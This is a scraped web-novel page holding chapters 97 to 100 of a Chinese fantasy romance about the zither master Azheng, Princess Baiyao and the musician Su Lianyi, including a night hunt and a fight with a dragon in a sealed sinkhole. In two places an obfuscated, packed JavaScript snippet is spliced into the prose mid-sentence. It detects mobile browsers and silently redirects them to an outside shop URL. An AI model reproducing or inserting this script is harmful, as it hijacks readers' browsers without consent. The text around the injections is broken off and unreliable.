她身上散发出的疏离感让阿筝有些失落,垂眸道:“那日我回来时发现长乐宫被烧毁,殿下不知所踪,委实痛心疾首。还好白琅殿下无事,不然我可能会离开这里。”他轻叹一声,抬头遥遥望着远方的圆月:“这些年,我在这清冷的宫中,每一天都在期盼殿下回来,宫里能再度热闹起来。殿下......” 他的目光落在白瑶身上,语气不稳地问:“殿下,您还会离开吗?” 白瑶摇了摇头:“我哪里都不会去了。我要留在这里,守护青丘。”白瑶在桌上撑着下巴,目光从夜幕收回,落在阿筝脸上,轻笑道:“这三百年光是休息,将政务落下了。这些天与左相右相商谈,好多事情都搞不清。” 阿筝安慰道:“殿下莫要心急。” 白瑶点点头,垂眸不知在想什么,须臾她抬起头,眼里闪烁着期待:“好久没听过先生弹曲子了,今天夜色正好,不知是否有幸?” 阿筝搬来自己的古琴,小心翼翼地摆在石桌上,沉肩垂肘,细长的手指轻轻地搭在琴弦上,弓起的手骨煞是好看。手指轻柔,拨弦却十分有力,琴弦一铮,如一道苍白的闪电划破夜空。 他平日里温柔和煦,一碰琴气质却凛然起来,青色衣衫衬托着他温和干净的面容,背脊傲然挺立,如松如柏,投入其中的神态仿佛与琴融为一体。只要他在抚琴,世上便再无其他。 琴音悠扬,只几个音节就能听出与众不同。 白瑶眨了眨眼睛,眸色渐渐变得深沉。 阿筝作为华胥族的长子,对乐理的造诣不同寻常,琴音轻而易举地营造出一种飘然世外的氛围,让人思绪绵长。白瑶心中一动,看阿筝的眼神有些恍惚。一曲终了,她缓缓舒了一口气,眼睫微微颤抖地垂下。 阿筝落下双手,抬眼看向白瑶:“如何?可有让殿下满意?” 98. 第 98 章 夜色沉沉,游廊的灯笼随风摇曳,忽明忽暗,将园里的一切拢在说不清道不明的朦胧幽光中。 白瑶眼中晦涩不明,她起身不紧不慢地走到阿筝身后,俯身越过他的肩头将琴弦一拨,一抹空灵的声音忽然打破周围的静谧,变了调的余音如同水中涟漪,圈圈圆圆圈圈地在耳畔化开。 “这根弦松了......”她低声道。 白瑶靠得很近,散下的发丝落在两人之间,阿筝微微向后挪了一寸,鼻尖萦绕着她身上的花草清香。他很久没有近距离看过殿下,她长大了许多,和小时候像也不像,但总是好看的。 “殿下怎么会懂琴?” 白瑶起身,答道:“我在宫外那些年有学过,略懂几分。是不是这样弹的?”她的手落在琴上,有模有样地拨了几下,技巧与感情虽远不及阿筝,却也不显生涩。 殿下幼时阿筝曾起了教授她弹琴的念头,无奈她对乐理完全不感兴趣,阿筝只好放弃。在他的记忆中,白瑶不可能会弹琴,如今听见熟练又有技巧的琴音,阿筝又惊又喜,睁大了眼睛:“殿下......”神色转而一凝,疑惑地想难道是晏离教她的?心里又涌上一股微妙的酸涩。 “怎么?”白瑶停下问。 阿筝摇摇头:“殿下天资聪慧,对乐理的感悟颇有天赋,若是能多花些时间,一定能大有造诣。” 白瑶笑起来,眼里闪过一丝狡黠:“多谢先生夸奖。不过......我还是比较喜欢听别人弹琴。” 阿筝眼中浮现淡淡的失落,青丘不重乐理,他少有知音。唯一一个能懂他琴音的人,现在也不知去向。不提也罢。 。 画面飞快闪过,倏而停在了朱红色的宫门前。 一个纤长的身影立在门前,桃花眼望着庄严的宫门,殷红的薄唇轻轻勾起。 偏殿上,端坐着的白瑶一见他面露喜色,与他对视片刻,转头笑着对阿筝说:“有苏先生,这位是我在宫外时认识的友人,名叫苏怜漪。他对乐理也颇有见解,你与他一定谈得来。” 阿筝微微颔首,打量起对方。苏怜漪身着竹叶的色彩,一双弦乐眉下灵动的桃花眼煞是灵动活泼,不似阿筝所熟悉的乐师一般清雅端庄。对方也在暗暗打量着阿筝,眯眼冲阿筝一笑,眼中对阿筝多了几分好奇。 那是阿筝第一次见到苏怜漪,对方身上稚气未退,眼角尚有几分少年的天真。 苏怜漪的琴技确实超乎寻常,点拨之间,没有半分青涩,一听便知他在琴上下过狠功夫。 两人合奏一曲《凤鸣长空》,初时苏怜漪颇有几分桀骜,想要将阿筝的琴音压下去,但阿筝并不理会,在自己的音域游刃有余。时间一长,两人渐入佳境,不知不觉配合起对方。曲子终了,天色竟已暗了下来,竟不知过了多久。 传说那一日,长乐宫附近的鸟雀俱栖在枝头,翘首望着声音传来的方向。 侍人不敢打扰,隔墙偷偷地听,心里的惊叹不可言说。 苏怜漪眼中对阿筝多了几分深究。 往后许久,苏怜漪在宫中担任宫廷乐师,殿下偶尔宴客时会让他作陪。他初来长乐宫,对这里并不熟悉,平时没有事务便来叨扰阿筝。一来一回,阿筝对他亲近起来。 苏怜漪坐在池塘中的望山流亭里,捧着热茶,饶有兴致地望着阿筝,说道:“我的名字里有苏,你的名字里也有苏,这就是缘分。”他眼睛里闪闪发光,不知想到了什么,唇边露出狡黠的笑意:“不如我叫你哥哥吧,有苏哥哥。”声音脆生生的,一下子唤进了阿筝心里。 苏怜漪天生会讨巧,又能与他谈论乐理,阿筝便顺势接受了他的示好。 苏怜漪喜欢园中的池塘,无事的时候喜欢趴在围栏边静静地观察荷叶下若隐若现的鱼。天气热了,他不知从哪儿找了把扇子,有一搭没一搭地扇着,细碎的刘海在额前飘动,露出光洁的额头。 “这里的日子也太沉闷了,殿下怎么受得了。”苏怜漪嘟囔着。 阿筝端坐在石桌旁,脸上浮现微微笑意:“殿下忙于政务,怎么会无聊?日子平静安稳多好,你刚来不习惯罢了。” 苏怜漪望着池塘发呆,黝黑的瞳孔中一抹金色的鱼甩尾而去,半晌他喃喃道:“殿下是个什么样的人?” 阿筝想起殿下幼时的样子,答道:“殿下是个随性之人。” 苏怜漪转过头,疑惑地看着他,似乎不明白殿下哪里随性。 阿筝解释道:“殿下过去活得通透,看起来对很多事情都不在意。但她心里有一把明镜,什么是好什么是坏,她清清楚楚。如今她身在其位,高处不胜寒,便将自己的性子收敛了起来。” 苏怜漪望向别处,不知在想什么,须臾问道:“哥哥,你更喜欢过去的殿下还是现在的殿下?” 阿筝不加思索:“不论过去现在还是未来,都是我的殿下。” 苏怜漪睫毛轻颤,掩去了眸中的深意,轻声说:“殿下真幸福。” 阿筝未作他想,打开桌上精致的食盒,说:“今日多做了些点心,你也来尝尝,给我些建议。” 苏怜漪抬起头向后眺望,身子转了个圈落在石凳上,看了眼食盒里的点心,又抬眼瞟了一眼阿筝,垂眸道:“有苏哥哥是为殿下做的?”他捻起一块粉色的糕点,细细闻了闻,眼角流露出一丝欣喜,故意调侃道:“哥哥真是心灵手巧,殿下一定很喜欢吧。” 苏怜漪拿的那块是桂花糕,殿下最近偏爱鲜花做的点心,阿筝特意研究了几种。 阿筝谦虚道:“殿下还未尝过,你是第一个尝的。” 苏怜漪露出失望的神情:“什么?哥哥拿我当试吃的啊?”作势要将手中的糕点放回去。 阿筝被他逗笑了:“别,我尝过味道不错,你试试。” 苏怜漪挑了下眉,将糕点一点一点塞进嘴里,眼中的神色由调侃变成惊艳,眼底还有一丝复杂的情绪被掩盖了。苏怜漪扯着阿筝的袖子,乞求道:“哥哥你手艺太好了,你教教我吧,我也想有朝一日做出这么好吃的点心。” 阿筝扶额,他好像给自己找了个麻烦。 弹琴之人的手金贵无比,阿筝本以为苏怜漪只不过说笑,没想到他真的有模有样地学了起来。不过苏怜漪完全没有厨艺基础,难免学得慢,这恰好给了他多亲近阿筝的理由。 一次白瑶来看望阿筝,恰巧苏怜漪也在阿筝的院中。白瑶打趣说:“你们两人算是遇到了知音,我都有些醋了。”苏怜漪脸上一红,连忙摆手:“不是的,我只是看有苏哥哥一个人,想来多陪陪他。” 白瑶莞尔,戏谑的眼神在他身上打量着:“这都叫上哥哥了?” 苏怜漪更臊了,低下头不敢说话。 白瑶转头对阿筝撒娇道:“嗯?有苏哥哥?” 阿筝喝道:“别在这儿捣乱了。” 白瑶笑笑:“有苏哥哥现在对我这么凶,可是有新欢了?” 阿筝摇摇头:“你就会跟着闹。” 不久,趁事务宽松,白瑶寻了个间隙出宫修养,苏怜漪与阿筝也在随行的人群中。 长乐宫外另设一个偏僻的行宫,平日被人遗忘,只当青丘之主突然兴致来了才有机会重出于世。行宫与长乐宫大为不同,藏在深山之中,像一座静谧的古宅。 白瑶此次出行带的人不多,苏怜漪比往日多了些机会在她身边侍奉。白瑶白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137762|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日在山里游玩,夜里坐在屋檐上看星星,苏怜漪一直默默跟在身后。 某日夜里,阿筝被细微的推门声扰醒,他就着窗外的月色看见一个模糊的人影从门边挤进来。他慌忙起身,问道:“谁?” 人影立住,“嘘”了一声:“有苏先生,是我。” 竟然是白瑶。 阿筝不知发生了什么事,将桌上的蜡烛擦亮:“殿下,你怎么了?”微光照亮白瑶白净的脸蛋,她看上去很精神,两只眼睛炯炯有神。 月挂西梢,已是下半夜。 两人从山庄中摸索出来,阿筝深吸一口气,山中清晨的凉气让他清醒了许多。 “殿下,我们回去吧。”他大概是睡糊涂了才会答应殿下半夜出来。 白瑶望了望身后的山庄,拧了眉,倔强道:“不要,我出宫了还有人跟着,一点也不自由。我想彻底摆脱他们一天,就一天。” 殿下的性子要想在宫中安分待着,确实不是易事。若是能让她高兴,随她一天又有何妨? 两人行径在昏暗的树林中,阿筝跟白瑶在身后问:“殿下想要彻底摆脱宫里的人,为何会叫上我?” 白瑶的脚步一顿,然后又继续按刚才的节奏向前走去,浅淡月华从树叶的缝隙间投射下来,洒在她飘逸的长发上。她思忖半晌,道:“若是我不见了,有苏先生一定会非常担心。我不想让你担惊受怕,所以就将你一同带出来了。” 阿筝垂眸看着自己的脚下深沉暗淡的枯枝败叶,不知为何心里突然微微一缩,肌肤上传来淡淡的温热。 他撇开头,似乎是认同了白瑶的话,问:“殿下想去哪里?” 白瑶停下脚步转头望向他,眼波映着莹莹月色,唇角露出一丝狡黠的笑意:“听说这附近有许多新奇的动物,我想带几只回宫解闷。” 夜猎?阿筝的注意力被吸引了过去。青丘白家本是妖仙,具有动物狩猎的本能,难道殿下也有? 白瑶手中出现了一道暗色的长戟,她冲阿筝抿嘴一笑,眼神忽而凌厉,拧眉冲黑暗深处看去。 林中安静非常,风吹草动,枝叶发出沙沙声。 白瑶眼睛一眨不眨地盯着黑暗处,好似那里有什么东西在靠近。 阿筝不免有些紧张。 白瑶忽然肩上一松,卸了身上的力气,甩甩袖子,转头对阿筝无奈地说:“看错了,好像是风。” 阿筝松了一口气,还没来得及回应,就见白瑶神色一变,暗戟脱手而出,直直刺向阿筝。尖锐的物体直冲阿筝面门,他瞳孔一缩,身体一时僵在原地无法动弹,心跳停了一秒,转而涌上一股难以言语的悲凉。 下一秒,阿筝被白瑶拉扯至身后。 好一会儿他才回过神来,看向不远处,那条被暗戟钉在树上的巨蟒。空气中传来刺鼻的腥气,蛇头已被劈成了两半,血肉模糊的身躯蠕动了几下便再也不动了。 林中回荡着他的喘息声,剧烈的心跳如同擂鼓冲击着他的耳膜。他不是害怕蟒蛇,而是刚才有一瞬间他以为殿下深夜将他带到此地,就是想要悄声无息地杀了他。他想一定是自己做了让殿下不悦的事,殿下才会对他心生怨恨。 阿筝看着白瑶上前利落地取下暗戟,心绪有些说不上来的复杂。 他怎么能怀疑殿下?她可是他从小看着长大的小姑娘。 白瑶一脸嫌弃地擦了擦暗戟上的污秽,拧眉抬头,突然撞上阿筝深沉的眼神,表情一顿,声音有些不自然:“怎么了?” 阿筝摇摇头:“无事。” 白瑶眼里透出深邃的光,似是极为认真地观察他的神情,半晌,幽幽说道:“先生,山里危险,你可要跟紧一点。” 99. 第 99 章 夜间的山林更显空寂,尘雾漫无目的地漂游,裹挟着一股湿润清新的气息。 两人一前一后在山中漫步良久,一无所获,甚至连只野兔都没发现。白瑶有些不耐烦,脚步不由地加快了几分,阿筝只好紧紧跟上。 半晌,远处传来一声鸡鸣,天边薄薄一层云雾透出几缕浅淡的亮色,由淡向浓,越来越明了。天一亮,山里的奇珍异兽就更难发现。 白瑶突然脚步一顿,阿筝也跟着停下。她望着枝叶缝隙透出的微光,眯了眯眼睛,侧头问道:“先生,你听到什么声音没有?” 阿筝微微仰头侧耳倾听,隐隐能听见空气中有一丝很低频的震动,若是不留意很难察觉。 是什么东西发出的声音? 虽然音量细微,很声音却是饱满有力的。 白瑶压低了声音道:“我听闻天界有一种奇兽,状似蜥蜴,腹部如同金箔一般沉甸甸的,在进食时会发出低频的嗡鸣。” 阿筝饱读诗书,对天界的奇闻异事无不知悉,但对白瑶描述的奇兽却觉得有些陌生,一时想不出来名字。 “竟还有这样的奇兽。” 白瑶点点头:“我也是道听途说,还要见一见才知道。” 阿筝的听力亦非常人,他闭眼辨别了一会儿,转了个方向说:“在那边。” 白瑶立刻低空腾起,急速向那个方向飞去。阿筝慢了一步,与白瑶保持着不远不近的距离。 飞行数百米,眼前突然闯入一团莹莹亮光,在昏暗中划过一道弧线。 白瑶加快速度追上去,阿筝被远远甩在身后,只模模糊糊地望见一只通体发光、形态怪异的动物在前方不断的跳跃。 须臾,白瑶的速度减缓,渐渐停了下来。 阿筝落在她身后,就见白瑶手指在唇边比了个禁声,眼睛一眨不眨地盯着前方。 那团光芒烧得更旺,好像一团火焰,火焰之中只能看出一只四脚兽的轮廓。阿筝心中震惊,没想到天界居然还有这等奇兽。 四脚兽的火焰猛地一窜,发出呵嗤呵嗤的喘息声。白瑶顿了一下,又悄悄向它挪去。 四脚兽向后半步,身后传来石砬坠落的声音。 白瑶停下脚步轻声说:“别怕,我们不会伤害你。过来......” 四脚兽呲了呲牙,向后退了半步,突然身形一晃,火焰压低了一寸。白瑶觉察有异,立刻扑上去,就在抓住它的一瞬间,亮光陡然从她胸前窜走,连跳三步,落在不远处。 而白瑶却一脚踩空,从崖边翻滚下去。 阿筝大惊,伸手去捞,没想到自己也跟着栽了下去。 两人在距离崖底不到三米处稳住下落的身体,白瑶浮在半空中望着阿筝,神情似有些无奈:“有苏先生,你还好吗?” 阿筝点点头。 白瑶抬眼打量了一圈四周的峭壁,抱起双臂,擒着笑调侃道:“有苏先生,你该不会是故意的吧?就算我落下悬崖,只要一点仙力就能翻上去,你跟下来做什么?” “......”阿筝一顿,他见白瑶坠下悬崖,来不及反应便跟了过来。 白瑶意味深长地看了他一眼:“算了。不过耽误这一会儿,奇兽应该跑远了,我们暂且先回去吧。”说罢,纵身一跃。 阿筝正欲跟上,突然听到白瑶停在空中:“咦......” “怎么?” 白瑶仰头凝眉,四处张望了一圈,又低下头观察脚下的环境。他们落下的地方是个天坑,而天坑之上有东西挡住了去路,昏暗中看不真切。 白瑶观察须臾,凭借往日的经验推断:“是结界。” 天空突然浮现一层微弱的亮光,一束亮光斜斜投射下来,天坑涌上一股白色的雾气,四周变得朦胧虚幻。 青丘多灵体,山中之灵有时为了自我保护会形成一种天然的结界。适才他们没有注意便从结界之中穿过,落入了天坑,现在看来这结界是个只进不出的“死结”。 阿筝许久未见过结界,心中居然有些怀念。曾经华胥族为了躲避外界纷扰,领土也设有许多结界,那层透明的屏障让他觉得很有安全感,他不由自主地凑上前细细地看。 朝阳落在结界上,幻化出彩色的虹光,倒映在他的瞳孔中。 “有苏哥哥。”白瑶疑惑地看着他:“怎么了?” “不......”阿筝收回目光,淡淡地说:“没什么。” 白瑶不疑有他,挥手一道白光打在结界上,转眼挥出去的仙力反弹回来。白瑶急忙闪身躲避,仙力撞击在石壁上,轰隆一声,石壁上的土石碎裂,砸落在天坑底部。 结界竟然毫发无损。 两人陷入沉默,没想到他们居然被困在了天坑中。 白瑶脸色不好,小声道:“好不容易出来一趟,竟然被困在这种鬼地方。” 阿筝缓缓降落在天坑底部,向岩洞内走去:“先看看有没有别的出口。” 天坑底下覆盖着大片绿色植被,泥土湿滑,空气中弥漫着一股寒湿之气。往深处走去,有一浅浅的山洞,洞里光线昏暗,岩壁上冒着一层薄薄的水珠,隐约传来流水声。 洞内有一处深不见底的寒潭,那股寒湿之气就是由此而来。 搜寻一周,并没有别的发现,白瑶眼神透出不悦,问:“从结界内出不去,只能让人从外头救我们,如果一直没有人来怎么办?” 阿筝站在山洞口,望着天坑上透出的日光:“那便只能等罢。” 有苏先生向来这般随波逐流,好像他只是一片树上飘落的叶子,落在哪里便留在哪里。白瑶轻哼一声,开始在天坑中四处试探,扬袖“轰轰”几道狠戾的仙力打在石壁上,地动山摇,土石滚落,最终堆积在山洞内。 阿筝忽然想起在很多年前,殿下三番五次想要逃出宫全都宣告失败后,对他说,如果从上空无法逃脱,就算炸出一条地道也要出去。 殿下不是容易妥协之人。她坚韧的身影落在阿筝眼眸中,化作了一丝隐晦的艳羡。要是他也能......他看着自己纹路繁琐的手掌,要是他也能毫无顾忌地争取,或许会不一样。但他要争取些什么? 阿筝望着白瑶的身影发呆,恍然发觉一团黑影不知何时笼罩在他的头顶。他心里一沉,呼声卡在喉咙中,就感到眼前天旋地转,冰冷的潭水与黑暗瞬间漫过他的身体。汹涌的潭水涌入他的口鼻,他急忙提起一口仙气护住身体。 远处白色的身影还未发现这边的端倪,他奋力一挣向水面游去,腰间缠上一条黏腻的触手将他往下拖,眼前的亮光越来越熹微。 阿筝反手一压,掌下爆发一股刺眼的青光,点亮了寒潭深处。他眯眼看向身下,不由大吃一惊。 寒潭之下堆积着一团蠕动的黑色物体,两只眼睛透出淡淡的青色荧光,如同两只灯笼,一眨不眨地盯着他。 阿筝咬紧牙关在水中屏息,与怪物对峙片刻,怪物缓缓挪动身体,一股水波快速翻涌上来。他被牵绊一时无法挣脱,迎上波涛迅猛的洗礼,像一击重拳打在身上,衣摆忽的碎裂了一大块。 阿筝手中青光一现,斩断了腰间的桎梏,断开的触手分裂成数个游离的墨团,像泡沫一般向水面飘去。 他皱紧眉头,这是什么东西? 怪物浑身一震,水流掀起一阵急速漩涡。触手再次探出,但这次来势汹汹,变得尖利如黑色的箭雨。水流被一道道黑色的影子破开,白色的泡沫一串接着一串翻涌而出。 他向高处浮去,无数黑色的触点追着向他涌来,他劈开一只又一只,如墨的污浊物糊在他的身上,覆上他的肢体,像有生命一般在表层蠕动。 渐渐地,阿筝身上的污迹越来越多,眼前涌上油墨一般的黑色,渐渐吞噬了仅有的微光。 耳旁突然传来冷冷一声:“找死。” 一道白光从黑暗中穿过,仿佛出现了一条干净利落的切口。 亮丽的身影从天而降,从阿筝身侧划过,带着一连串翻滚的泡沫,径直向怪物游去。 阿筝心口一紧,目光紧紧跟随着她而去。只见白瑶未用武器,双掌带着凌厉的仙力向怪物狠狠劈下。滩中水流湍急,阿筝面对巨大的冲击,被掀出去数米,好不容易在水流中稳住身形。 怪物在白瑶的掌下,晃了晃身体发出沉闷的声音,就像撞上了老旧沉闷的钟鼓。他身上的黑色在摇晃中渐渐蔓延至潭水中,身上仿佛突然消瘦了许多。 阿筝定睛思索,这到底是什么?他盯着黑团中的那一双眼睛,那双眼睛忽然瞳孔一缩,变成了两条竖线。一阵寒气从水下漫了上来,潭底的岩石嗡嗡作响,翻涌而上的泡沫越来越多。 “殿下,快走!”阿筝将声音传入白瑶脑海中。白瑶侧头睨了他一眼,立在水中未动,不知在想些什么。 阿筝焦急地向白瑶划去,伸手去拉她的衣袖,不料被白瑶甩开。 “殿下,我们先离开这里。” 白瑶未应。 潭下的震动越来越频繁,怪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137763|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物黑色的身躯渐渐站立起来,身上的黑团簌簌流落,身型渐渐显露出来。须角......五爪......鳞甲......昏暗的潭水中,一双青色的眼睛森冷地盯着他们。 “居然是蛟龙。”白瑶眼中划过一抹意味不明的光。 阿筝心里一沉,蛟龙身型虽小,但威力却比寻常妖仙要厉害得多。 “殿下,水中于我们不利,我们先上去再说。” 蛟龙不等他们反应,有力又灵活的长尾在水中一扫,一波大浪向他们横扫而来。白瑶与阿筝借势后退,潭中施展不开拳脚,蛟龙盘旋的身躯立刻拦在他们身后将他们围在了中间。 白瑶不甘示弱,手中亮起一掌,向蛟龙的头部劈去。 若说刚才蛟龙还在观察,此时一掌擦着它的须角而过,砸在了石壁上,它的眼神渗出了汹涌的怒意。 阿筝发觉不妙,大喊一声:“殿下快走!” 阿筝与白瑶立刻向水面升去,蛟龙愤愤地亮出獠牙,一股青白的光从它的牙缝中渗出,照亮了潭底。剧烈的白光刺痛了阿筝眼睛,他下意识用身体挡在白瑶身前。 白瑶拧眉复杂地看着眼前的身影,就见蛟龙口中喷涌而出的光束打在阿筝肩头,水中立刻漫上一股血腥。 白瑶眼皮一跳,攥紧了拳头,眼神带着难以抑制的怒意倾轧在蛟龙身上。蛟龙忽然摆一摆龙尾,从潭底快速升起,竟然一举跃出寒潭,在天坑上空盘旋。 白瑶携阿筝冲出水面,将阿筝轻轻放在地上,就要起身去追。 “不要!”情急之下,阿筝忍着剧痛脱口而出。 白瑶冷冷地瞥了一眼阿筝,像是寒潭的水又漫上了他的身体一般,他好像从未在殿下眼中看过如此冷淡的神情。 阿筝解释道:“咳咳,它在为入海做修炼,是我们打扰它了。” 蛟龙在上空盘旋几圈,忽然天空金光一现,它随之冲出结界,发出沉闷的长吟,转瞬消失在一方天地之间。 白瑶久久望着它离开的方向,眼神琢磨不清,良久,她转身冷冷道:“你觉得我躲不过吗?” 阿筝闭上眼,黑暗中仿佛又感受到那日他从魔域赶回来,看到长乐宫一片狼藉时心中的惶恐。他缓缓睁开眼睛,眼中透着真挚又坚定的光:“我不想再看到殿下受伤了,就算有万分之一的可能也不行。” 白瑶一怔,面色有些不自然,咬着下唇沉默半晌,“你以为这样我会感动吗?”语气中隐隐带着倔强的愠怒。 阿筝偏头问:“什么?” 一丝纠结浮现于她的眼底,白瑶望着阿筝正色道:“我不需要你做这些事。” 阿筝微微摇了摇头:“我只是在做我想做的事。” 白瑶不知想到什么,目光幽幽转冷,随即无声地蹲下替他疗伤。阿筝伤得不轻,在千年清闲安逸的日子下,身体显得有些不堪一击。 白瑶冷哼一声,像是想说什么,又没说出口。 结界已破,因为阿筝的身体原因耽搁了两日,回到行宫已过了三日有余。随行的宫人几天没合眼,在周遭搜寻了几遍,此时已精疲力竭,见白瑶回来激动不已,但目光落在面色苍白的阿筝身上,流露出耐人寻味的神色。 苏怜漪远远站在人群中,眼睑下一圈深深的阴影,看上去想要靠近又不敢上前,只能守在原地。他身前一名名不经传的侍者突然站出来质问道:“有苏先生,你为何私自带殿下出去?若是殿下在外头有恙,你担当得起吗?” 阿筝身体一颤,感到后怕不已。不论是否是他将殿下带出宫去,他与殿下一同出宫,若是殿下有闪失,必定是他的责任。 不等他回应,白瑶眼神锐利地望向那名侍者,冷沉道:“谁准你这么说话?” 侍者感受到白瑶身上散发的威压,赶紧低下头:“属下知错,不该这么和有苏先生说话。” 苏怜漪眸中隐约划过一丝惊疑,而后目光在白瑶与阿筝身上暗暗逡巡几圈,眸光沉了沉。他瞥了一眼那名侍者,站出来替他解释道:“他也是担心殿下遭受不测一时心急,请有苏先生谅解。” 阿筝浑身精疲力竭,没有力气再思考他们的所做所言,点了点头表示:“无事。私自带殿下出去是我不对,回宫后我会自行扣除三年俸禄作为惩戒。” 白瑶听了眸光一滞,余光在阿筝身上停留了须臾,面色无常地转身回寝殿,像是有意回避似的,自始至终都没有给苏怜漪一个眼神。 苏怜漪望着她离去的背影欲言又止。 100. 第 100 章 白瑶失踪几日,宫里上上下下惴惴不安,于是白瑶在外未做太多停留,休息一日便启程回宫。 阿筝体内有一颗沉淀多年的灵丹,伤口恢复得很快,只是精神还有些萎靡。他不知这种低迷的情绪从何而来,但出宫几日发生的事情总是在脑海中浮现,哪怕他因此受伤。 回宫后,日子过得愈加缓慢,他恍然发觉已经三日未见到殿下了。 奇怪的是,之前与殿下分别才是常事,三年、三十年他都经历过,为何现在短短三日他就觉得时间太慢了? 白日心神不宁,苏怜漪来看望他时察觉出异样,于是吩咐侍女拿了些酒,两人天未黑便坐在院中一杯接一杯对饮起来。 阿筝心中压抑了多年的烦闷,从来不敢轻易释放出来,他害怕一旦放手,过去的事情会像汹涌的浪潮将他吞噬,一发不可收拾。 苏怜漪多喝了几杯,脸上浮现淡淡的红晕,眼神迷离起来,断断续续地向阿筝倒起苦水。 “我的父亲也是一名乐师......”苏怜漪喃喃道。 阿筝手中的杯子一顿,眼睫微颤,小心翼翼地抬眼望向苏怜漪,静静等待着他的下文。 “他很厉害也很严厉......我幼时跟着他学琴,稍有不专心,他就拿着长长的鞭子抽打在我的背上。”苏怜漪的眼睛蒙上一层雾气,顿了顿接着说:“我小时候很怕他,每次他一板起脸我就忍不住抽泣。” 阿筝呼吸微颤,垂眸掩去眼中的撕扯,将杯中的酒水一饮而尽,浇在灼烧的心头。 “我每日很刻苦地练琴,一日不敢停,不敢有半分懈怠。但他一直对我不满意,他一直不满意......”苏怜漪垂着眸,看不清神情,但声音中带着一丝颤抖:“我有哪里做的不对,为什么他不满意?” 阿筝望着他,仿佛跨越了时间空间看见了多年前青涩的自己,只是那时严厉的父亲早已离他而去,那些记忆化作了一本尘封多年永远不能再翻开的书。 他望着空荡荡的杯底,眼底泛着沉痛,轻声安慰道:“你已经弹得很好了。” 苏怜漪双手握紧了杯子摇了摇头,哽咽道:“不......”他缓缓抬起头,惨笑道:“他一定是对我不满意,他领回来了一个孩子,像教导我一般教导那个孩子乐理,他终究是放弃我了......” 苏怜漪低下头,落寞的目光落在杯中,嘴角泛着苦涩:“有苏哥哥你不明白,他从一开始就将我当做了工具......工具不好用,自然是要换的。” 阿筝看到他这副样子心中隐隐作痛,虽然华胥族多有乐理天分,但也免不了后天勤学苦练。他曾看到过有些族人教育孩子也是这般严厉,但弃了亲生子改教养子倒是闻所未闻。苏怜漪看上去天真烂漫,竟是遭遇过这样的对待。 苏怜漪又斟上一杯,举杯对着阿筝说:“同是沦落之人,我敬有苏哥哥一杯。”说完自顾自仰头饮下。一杯过后,他的眼神愈加朦胧,身体向桌面倾斜。 “你醉了,回去吧。”阿筝四处张望,想唤宫人将他扶走。 苏怜漪红着脸摇摇头,将满上的杯子推到阿筝面前,一双桃花眼冒着莹莹水光:“有苏哥哥,我知道你心中也有秘密。我不求你告诉我,但不要把所有的事情憋在心里。” 阿筝迟疑了一会儿,接过酒杯闷声饮下。 院中静谧,天色渐渐暗了下来,两个潦倒的身影围在石桌旁,再之后的画面就变得模糊不清。 两日后的清晨,阿筝一如往常在园中散步。园中的花草长得旺盛,小道上散落着淡淡的芬芳。 遥远的地方响起几声错乱的脚步,有宫人从旁路过。 阿筝似是有感应似的,抬头向远处看去。不过眨眼功夫,白瑶从花叶后面施施然走出来,身后跟着一名侍女。她看见阿筝眼波微动,沉声道:“有苏先生。” 熟悉的声音落入阿筝耳中,他心里一动,慢了半拍,应道:“殿下。” 白瑶从他身侧走过,带来了一阵轻柔的风。他还未来及细品,耳边又响起慌乱的脚步声。这一次,白瑶停下脚步,向声源处望去。 两名侍女躲在墙角互相拉扯着,满脸挣扎地望着他们,眼中淬着幽深的光,见他们望向这边,眼中的恐惧和怒意愈加浓烈,却没有出声。 白瑶的目光在他们身上停留了一会儿,不带感情地问:“你们在做什么?” 一名粉衣侍女深吸一口气,幽怨地看了阿筝一眼,抿着嘴垂下头不语。另一蓝衣侍女挽着她的手,眼神确实直勾勾地望着阿筝,目光似无声的控诉。 阿筝被她的眼神看的一愣,细细看了几眼,觉得她们二人面生得很,应该与他没有交集。 “说话。”白瑶的语气冷厉了几分。 粉衣侍女咬着下唇,眉间凝聚着一股怨气,纤细的手指紧紧攥着衣角,身体微微发颤。身旁那名侍女见状,低下头对她悄声说了几句话,粉衣侍女猛地抬头看了一眼阿筝,眼神莫名的幽怨。 阿筝愈发觉得不对劲。 白瑶睥了阿筝一眼,问:“你认识她?” 阿筝摇摇头:“不认识。” 粉衣侍女一听,眼中风雨欲来,竟是一副泫然若泣的模样:“有苏先生,你怎么能这样......”蓝衣侍女愤愤地瞪了阿筝一眼,转头对粉衣侍女轻声说:“月含别怕,殿下在这里呢,他不敢对你怎样。” 白瑶身后的侍女上前说:“这是偏殿的月禾和月含。” 白瑶的目光带着深究落在月含身上:“你认识有苏先生?” 月含一听,嘴角瘪了下来,带着哽咽说:“殿下,我......”然后犹犹豫豫地别过头。月禾在一旁干着急,几次想要说什么,都咬了咬牙吞了进去。 阿筝柔和地问道:“月含姑娘,可是发生了什么事?” 月含抽泣几声,不敢相信地望着阿筝,脸色越加苍白:“有苏先生,你怎么能这么问?”她上前半步:“有苏先生,你就没有什么想对我说的吗?” 阿筝哑然,不知她在说什么。月含眼中闪过深深的痛意:“这几日我一直在等你的解释。” 白瑶凝眉,目光幽幽落在阿筝身上,让阿筝心中莫名有些忐忑。 阿筝舔了舔唇:“月含姑娘,我不懂你在说什么。若是真的发生了什么事,不妨直说。” 